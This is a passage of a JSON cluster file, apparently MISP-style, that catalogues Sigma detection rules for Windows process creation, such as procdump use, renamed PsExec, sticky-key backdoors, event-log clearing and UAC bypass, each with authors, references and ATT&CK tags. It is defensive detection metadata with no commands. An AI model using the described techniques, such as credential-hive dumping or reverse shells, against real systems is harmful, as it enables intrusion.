"type": "related-to" }, { "dest-uuid": "b97f1d35-4249-4486-a6b5-ee60ccf24fab", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "04f5363a-6bca-42ff-be70-0d28bf629ead", "value": "Office Applications Spawning Wmi Cli Alternate" }, { "description": "Detects manual service execution (start) via system utilities.", "meta": { "author": "Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community", "creation_date": "2019/10/21", "falsepositive": [ "Legitimate administrator or user executes a service for legitimate reasons." ], "filename": "proc_creation_win_service_execution.yml", "level": "low", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1569.002/T1569.002.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_service_execution.yml" ], "tags": [ "attack.execution", "attack.t1569.002" ] }, "related": [ { "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "2a072a96-a086-49fa-bcb5-15cc5a619093", "value": "Service Execution" }, { "description": "Detects usage of the SysInternals Procdump utility", "meta": { "author": "Florian Roth", "creation_date": "2021/08/16", "falsepositive": [ "Legitimate use of procdump by a developer or administrator" ], "filename": "proc_creation_win_procdump.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "Internal Research", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_procdump.yml" ], "tags": [ "attack.defense_evasion", "attack.t1036", "attack.t1003.001" ] }, "related": [ { "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "2e65275c-8288-4ab4-aeb7-6274f58b6b20", "value": "Procdump Usage" }, { "description": "Identifies suspicious mshta.exe commands.", "meta": { "author": "E.M. Anhaus (originally from Atomic Blue Detections, Endgame), oscd.community", "creation_date": "2019/10/24", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_mshta_javascript.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://eqllib.readthedocs.io/en/latest/analytics/6bc283c4-21f2-4aed-a05c-a9a3ffa95dd4.html", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.005/T1218.005.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mshta_javascript.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218.005" ] }, "related": [ { "dest-uuid": "840a987a-99bd-4a80-a5c9-0cb2baa6cade", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "67f113fa-e23d-4271-befa-30113b3e08b1", "value": "Mshta JavaScript Execution" }, { "description": "Detects execution of ruby using the \"-e\" flag. This is could be used as a way to launch a reverse shell or execute live ruby code.", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2023/01/02", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_ruby_inline_command_execution.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet", "https://www.revshells.com/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ruby_inline_command_execution.yml" ], "tags": [ "attack.execution", "attack.t1059" ] }, "related": [ { "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "20a5ffa1-3848-4584-b6f8-c7c7fd9f69c8", "value": "Ruby Inline Command Execution" }, { "description": "Threat actors performed dumping of SAM, SECURITY and SYSTEM registry hives using DelegateExecute key", "meta": { "author": "frack113", "creation_date": "2021/12/20", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_reg_open_command.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://thedfirreport.com/2021/12/13/diavol-ransomware/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_reg_open_command.yml" ], "tags": [ "attack.credential_access", "attack.t1003" ] }, "related": [ { "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "dd3ee8cc-f751-41c9-ba53-5a32ed47e563", "value": "Suspicious Reg Add Open Command" }, { "description": "Detects the execution of a renamed PsExec often used by attackers or malware", "meta": { "author": "Florian Roth", "creation_date": "2019/05/21", "falsepositive": [ "Software that illegaly integrates PsExec in a renamed form", "Administrators that have renamed PsExec and no one knows why" ], "filename": "proc_creation_win_renamed_psexec.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.trendmicro.com/vinfo/hk-en/security/news/cybercrime-and-digital-threats/megacortex-ransomware-spotted-attacking-enterprise-networks", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_psexec.yml" ], "tags": [ "car.2013-05-009", "attack.defense_evasion", "attack.t1036.003" ] }, "related": [ { "dest-uuid": "bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "a7a7e0e5-1d57-49df-9c58-9fe5bc0346a2", "value": "Renamed PsExec" }, { "description": "Detects suspicious file execution by wscript and cscript", "meta": { "author": "Michael Haag", "creation_date": "2019/01/16", "falsepositive": [ "Will need to be tuned. I recommend adding the user profile path in CommandLine if it is getting too noisy." ], "filename": "proc_creation_win_susp_script_execution.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_script_execution.yml" ], "tags": [ "attack.execution", "attack.t1059.005", "attack.t1059.007" ] }, "related": [ { "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "1e33157c-53b1-41ad-bbcc-780b80b58288", "value": "WSF/JSE/JS/VBA/VBE File Execution" }, { "description": "Detects a suspicious parent of csc.exe, which could by a sign of payload delivery", "meta": { "author": "Florian Roth", "creation_date": "2019/02/11", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_csc.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/SBousseaden/status/1094924091256176641", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_csc.yml" ], "tags": [ "attack.execution", "attack.t1059.005", "attack.t1059.007", "attack.defense_evasion", "attack.t1218.005", "attack.t1027.004" ] }, "related": [ { "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "840a987a-99bd-4a80-a5c9-0cb2baa6cade", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "c726e0a2-a57a-4b7b-a973-d0f013246617", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "b730a276-6b63-41b8-bcf8-55930c8fc6ee", "value": "Suspicious Parent of Csc.exe" }, { "description": "Detects Obfuscated Powershell via VAR++ LAUNCHER", "meta": { "author": "Timur Zinniatullin, oscd.community", "creation_date": "2020/10/13", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_invoke_obfuscation_via_var.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/issues/1009", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_invoke_obfuscation_via_var.yml" ], "tags": [ "attack.defense_evasion", "attack.t1027", "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "e9f55347-2928-4c06-88e5-1a7f8169942e", "value": "Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION" }, { "description": "Qbot used reg.exe to add Defender folder exceptions for folders within AppData and ProgramData.", "meta": { "author": "frack113", "creation_date": "2022/02/13", "falsepositive": [ "Legitimate use" ], "filename": "proc_creation_win_reg_defender_exclusion.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://thedfirreport.com/2022/02/07/qbot-likes-to-move-it-move-it/", "https://redcanary.com/threat-detection-report/threats/qbot/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_defender_exclusion.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562.001" ] }, "uuid": "48917adc-a28e-4f5d-b729-11e75da8941f", "value": "Registry Defender Exclusions" }, { "description": "By replacing the sticky keys executable with the local admins CMD executable, an attacker is able to access a privileged windows console session without authenticating to the system.\nWhen the sticky keys are \"activated\" the privilleged shell is launched.\n", "meta": { "author": "Sreeman", "creation_date": "2020/02/18", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_sticky_keys_unauthenticated_privileged_cmd_access.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.clearskysec.com/wp-content/uploads/2020/02/ClearSky-Fox-Kitten-Campaign-v1.pdf", "https://www.fireeye.com/blog/threat-research/2017/03/apt29_domain_frontin.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sticky_keys_unauthenticated_privileged_cmd_access.yml" ], "tags": [ "attack.t1546.008", "attack.privilege_escalation" ] }, "uuid": "1070db9a-3e5d-412e-8e7b-7183b616e1b3", "value": "Sticky-Key Backdoor Copy Cmd.exe" }, { "description": "Detects Golden Chickens deployment method as used by Evilnum in report published in July 2020", "meta": { "author": "Florian Roth", "creation_date": "2020/07/10", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_apt_evilnum_jul20.yml", "level": "critical", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/", "https://app.any.run/tasks/33d37fdf-158d-4930-aa68-813e1d5eb8ba/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_evilnum_jul20.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218.011" ] }, "related": [ { "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "8acf3cfa-1e8c-4099-83de-a0c4038e18f0", "value": "EvilNum Golden Chickens Deployment via OCX Files" }, { "description": "Detects when adversaries stop services or processes by deleting their respective schdueled tasks in order to conduct data destructive activities", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/09/09", "falsepositive": [ "Unlikely" ], "filename": "proc_creation_win_susp_schtasks_delete.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "Internal Research", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_schtasks_delete.yml" ], "tags": [ "attack.impact", "attack.t1489" ] }, "related": [ { "dest-uuid": "20fb2507-d71c-455d-9b6d-6104461cf26b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "dbc1f800-0fe0-4bc0-9c66-292c2abe3f78", "value": "Delete Important Scheduled Task" }, { "description": "The CrachMapExec pentesting framework implements a PowerShell obfuscation with some static strings detected by this rule.", "meta": { "author": "Thomas Patzke", "creation_date": "2020/05/22", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_crackmapexec_powershell_obfuscation.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/byt3bl33d3r/CrackMapExec/blob/0a49f75347b625e81ee6aa8c33d3970b5515ea9e/cme/helpers/powershell.py#L242", "https://github.com/byt3bl33d3r/CrackMapExec", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_crackmapexec_powershell_obfuscation.yml" ], "tags": [ "attack.execution", "attack.t1059.001", "attack.defense_evasion", "attack.t1027.005" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "b0533c6e-8fea-4788-874f-b799cacc4b92", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "6f8b3439-a203-45dc-a88b-abf57ea15ccf", "value": "CrackMapExec PowerShell Obfuscation" }, { "description": "Detects usage of findstr to identify and execute a lnk file as seen within the HHS redirect attack", "meta": { "author": "Trent Liffick", "creation_date": "2020/05/01", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_findstr_lnk.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.bleepingcomputer.com/news/security/hhsgov-open-redirect-used-by-coronavirus-phishing-to-spread-malware/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_findstr_lnk.yml" ], "tags": [ "attack.defense_evasion", "attack.t1036", "attack.t1202", "attack.t1027.003" ] }, "related": [ { "dest-uuid": "3b0e52ce-517a-4614-a523-1bd5deef6c5e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "33339be3-148b-4e16-af56-ad16ec6c7e7b", "value": "Findstr Launching .lnk File" }, { "description": "Detects when an admin share is mounted using net.exe", "meta": { "author": "oscd.community, Teymur Kheirkhabarov @HeirhabarovT, Zach Stanford @svch0st, wagga", "creation_date": "2020/10/05", "falsepositive": [ "Administrators" ], "filename": "proc_creation_win_net_use_admin_share.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://drive.google.com/file/d/1lKya3_mLnR3UQuCoiYruO3qgu052_iS_/view", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_net_use_admin_share.yml" ], "tags": [ "attack.lateral_movement", "attack.t1021.002" ] }, "uuid": "3abd6094-7027-475f-9630-8ab9be7b9725", "value": "Mounted Windows Admin Shares with net.exe" }, { "description": "Deletes the Windows systemstatebackup using wbadmin.exe.\nThis technique is used by numerous ransomware families.\nThis may only be successful on server platforms that have Windows Backup enabled.\n", "meta": { "author": "frack113", "creation_date": "2021/12/13", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_delete_systemstatebackup.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md#atomic-test-5---windows---delete-volume-shadow-copies-via-wmi-with-powershell", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_delete_systemstatebackup.yml" ], "tags": [ "attack.impact", "attack.t1490" ] }, "related": [ { "dest-uuid": "f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "89f75308-5b1b-4390-b2d8-d6b2340efaf8", "value": "Wbadmin Delete Systemstatebackup" }, { "description": "Use living off the land tools to zip a file and stage it in the Windows temporary folder for later exfiltration", "meta": { "author": "frack113", "creation_date": "2021/07/20", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_zip_compress.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1074.001/T1074.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_zip_compress.yml" ], "tags": [ "attack.collection", "attack.t1074.001" ] }, "related": [ { "dest-uuid": "1c34f7aa-9341-4a48-bfab-af22e51aca6c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "85a8e5ba-bd03-4bfb-bbfa-a4409a8f8b98", "value": "Zip A Folder With PowerShell For Staging In Temp" }, { "description": "Detects clearing or configuration of eventlogs using wevtutil, powershell and wmic. Might be used by ransomwares during the attack (seen by NotPetya and others).", "meta": { "author": "Ecco, Daniil Yugoslavskiy, oscd.community, D3F7A5105", "creation_date": "2019/09/26", "falsepositive": [ "Admin activity", "Scripts and administrative tools used in the monitored environment", "Maintenance activity" ], "filename": "proc_creation_win_susp_eventlog_clear.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.001/T1070.001.md", "https://jdhnet.wordpress.com/2017/12/19/changing-the-location-of-the-windows-event-logs/", "https://gist.github.com/fovtran/ac0624983c7722e80a8f5a4babb170ee", "https://eqllib.readthedocs.io/en/latest/analytics/5b223758-07d6-4100-9e11-238cfdd0fe97.html", "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wevtutil", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_eventlog_clear.yml" ], "tags": [ "attack.defense_evasion", "attack.t1070.001", "attack.t1562.002", "car.2016-04-002" ] }, "related": [ { "dest-uuid": "6495ae23-3ab4-43c5-a94f-5638a2c31fd2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "4eb28bed-d11a-4641-9863-c2ac017d910a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "cc36992a-4671-4f21-a91d-6c2b72a2edf5", "value": "Suspicious Eventlog Clear or Configuration Using Wevtutil" }, { "description": "Detects the usage and installation of a backdoor that uses an option to register a malicious debugger for built-in tools that are accessible in the login screen", "meta": { "author": "Florian Roth, @twjackomo, Jonhnathan Ribeiro, oscd.community", "creation_date": "2018/03/15", "falsepositive": [ "Unlikely" ], "filename": "proc_creation_win_stickykey_like_backdoor.yml", "level": "critical", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://blogs.technet.microsoft.com/jonathantrull/2016/10/03/detecting-sticky-key-backdoors/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_stickykey_like_backdoor.yml" ], "tags": [ "attack.privilege_escalation", "attack.persistence", "attack.t1546.008", "car.2014-11-003", "car.2014-11-008" ] }, "uuid": "2fdefcb3-dbda-401e-ae23-f0db027628bc", "value": "Sticky Key Like Backdoor Usage" }, { "description": "Looks for changes to registry to disable any write-protect property for storage devices. This could be a precursor to a ransomware attack and has been an observed technique used by cypherpunk group.", "meta": { "author": "Sreeman", "creation_date": "2021/06/11", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_write_protect_for_storage_disabled.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_write_protect_for_storage_disabled.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562" ] }, "related": [ { "dest-uuid": "3d333250-30e4-4a82-9edc-756c68afc529", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "75f7a0e2-7154-4c4d-9eae-5cdb4e0a5c13", "value": "Write Protect For Storage Disabled" }, { "description": "Detects the use of getsystem Meterpreter/Cobalt Strike command by detecting a specific service starting", "meta": { "author": "Teymur Kheirkhabarov, Ecco, Florian Roth", "creation_date": "2019/10/26", "falsepositive": [ "Commandlines containing components like cmd accidentally", "Jobs and services started with cmd" ], "filename": "proc_creation_win_meterpreter_or_cobaltstrike_getsystem_service_start.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment", "https://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_meterpreter_or_cobaltstrike_getsystem_service_start.yml" ], "tags": [ "attack.privilege_escalation", "attack.t1134.001", "attack.t1134.002" ] }, "related": [ { "dest-uuid": "86850eff-2729-40c3-b85e-c4af26da4a2d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "677569f9-a8b0-459e-ab24-7f18091fa7bf", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "15619216-e993-4721-b590-4c520615a67d", "value": "Meterpreter or Cobalt Strike Getsystem Service Start" }, { "description": "Detects a suspicious certreq execution taken from the LOLBAS examples, which can be abused to download (small) files", "meta": { "author": "Christian Burkard", "creation_date": "2021/11/24", "falsepositive": [ "Unlikely" ], "filename": "proc_creation_win_lolbin_susp_certreq_download.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://lolbas-project.github.io/lolbas/Binaries/Certreq/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_susp_certreq_download.yml" ], "tags": [ "attack.command_and_control", "attack.t1105" ] }, "related": [ { "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "4480827a-9799-4232-b2c4-ccc6c4e9e12b", "value": "Suspicious Certreq Command to Download" }, { "description": "Detects a windows service to be stopped", "meta": { "author": "Jakob Weinzettl, oscd.community, Nasreddine Bencherchali", "creation_date": "2019/10/23", "falsepositive": [ "Administrator shutting down the service due to upgrade or removal purposes" ], "filename": "proc_creation_win_service_stop.yml", "level": "low", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_service_stop.yml" ], "tags": [ "attack.impact", "attack.t1489" ] }, "related": [ { "dest-uuid": "20fb2507-d71c-455d-9b6d-6104461cf26b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "eb87818d-db5d-49cc-a987-d5da331fbd90", "value": "Stop Windows Service" }, { "description": "Detects process creation with a renamed BrowserCore.exe (used to extract Azure tokens)", "meta": { "author": "Max Altgelt", "creation_date": "2022/06/02", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_renamed_browsercore.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/mariuszbit/status/1531631015139102720", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_browsercore.yml" ], "tags": [ "attack.t1528", "attack.t1036.003" ] }, "related": [ { "dest-uuid": "890c9858-598c-401d-a4d5-c67ebcdd703a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "8a4519e8-e64a-40b6-ae85-ba8ad2177559", "value": "Process Creation with Renamed BrowserCore.exe" }, { "description": "Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.", "meta": { "author": "frack113", "creation_date": "2021/12/10", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_network_listing_connections.yml", "level": "low", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1049/T1049.md#atomic-test-1---system-network-connections-discovery", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_network_listing_connections.yml" ], "tags": [ "attack.discovery", "attack.t1049" ] }, "related": [ { "dest-uuid": "7e150503-88e7-4861-866b-ff1ac82c4475", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "1c67a717-32ba-409b-a45d-0fb704a73a81", "value": "Suspicious Listing of Network Connections" }, { "description": "Use OfflineScannerShell.exe to execute mpclient.dll library in the current working directory", "meta": { "author": "frack113", "creation_date": "2022/03/06", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_lolbin_offlinescannershell.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://lolbas-project.github.io/lolbas/Binaries/OfflineScannerShell/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_offlinescannershell.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218" ] }, "related": [ { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "02b18447-ea83-4b1b-8805-714a8a34546a", "value": "Suspicious OfflineScannerShell.exe Execution From Another Folder" }, { "description": "Detects the execution of the PUA/Recon tool Seatbelt via PE information of command line parameters", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/10/18", "falsepositive": [ "Unlikely" ], "filename": "proc_creation_win_pua_seatbelt.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/GhostPack/Seatbelt", "https://www.bluetangle.dev/2022/08/fastening-seatbelt-on-threat-hunting.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_seatbelt.yml" ], "tags": [ "attack.discovery", "attack.t1526", "attack.t1087", "attack.t1083" ] }, "related": [ { "dest-uuid": "e24fcba8-2557-4442-a139-1ee2f2e784db", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "38646daa-e78f-4ace-9de0-55547b2d30da", "value": "Seatbelt PUA Tool" }, { "description": "Detects the pattern of UAC Bypass using a path parsing issue in winsat.exe (UACMe 52)", "meta": { "author": "Christian Burkard", "creation_date": "2021/08/30", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_uac_bypass_winsat.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/hfiref0x/UACME", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_winsat.yml" ], "tags": [ "attack.defense_evasion", "attack.privilege_escalation", "attack.t1548.002" ] }, "related": [ { "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "7a01183d-71a2-46ad-ad5c-acd989ac1793", "value": "UAC Bypass Abusing Winsat Path Parsing - Process" }, { "description": "Detects suspicious addition to BitLocker related registry keys via the reg.exe utility", "meta": { "author": "frack113", "creation_date": "2021/11/15", "falsepositive": [ "Unlikely" ], "filename": "proc_creation_win_susp_reg_bitlocker.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://thedfirreport.com/2021/11/15/exchange-exploit-leads-to-domain-wide-ransomware/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_reg_bitlocker.yml" ], "tags": [ "attack.impact", "attack.t1486" ] }, "related": [ { "dest-uuid": "b80d107d-fa0d-4b60-9684-b0433e8bdba0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "0e0255bf-2548-47b8-9582-c0955c9283f5", "value": "Suspicious Reg Add BitLocker" }, { "description": "Detects the use of the 'Launch-VsDevShell.ps1' Microsoft signed script to execute commands.", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/08/19", "falsepositive": [ "Legitimate usage of the script by a developer" ], "filename": "proc_creation_win_lolbin_launch_vsdevshell.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/nas_bench/status/1535981653239255040", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_launch_vsdevshell.yml" ], "tags": [ "attack.defense_evasion", "attack.t1216.001" ] }, "related": [ { "dest-uuid": "09cd431f-eaf4-4d2a-acaf-2a7acfe7ed58", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "45d3a03d-f441-458c-8883-df101a3bb146", "value": "Launch-VsDevShell.PS1 Proxy Execution" }, { "description": "Detects Windows Installer service (msiexec.exe) trying to install MSI packages with SYSTEM privilege", "meta": { "author": "Teymur Kheirkhabarov (idea), Mangatas Tondang (rule), oscd.community", "creation_date": "2020/10/13", "falsepositive": [ "System administrator usage", "Anti virus products" ], "filename": "proc_creation_win_always_install_elevated_windows_installer.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://image.slidesharecdn.com/kheirkhabarovoffzonefinal-181117201458/95/hunting-for-privilege-escalation-in-windows-environment-48-638.jpg", 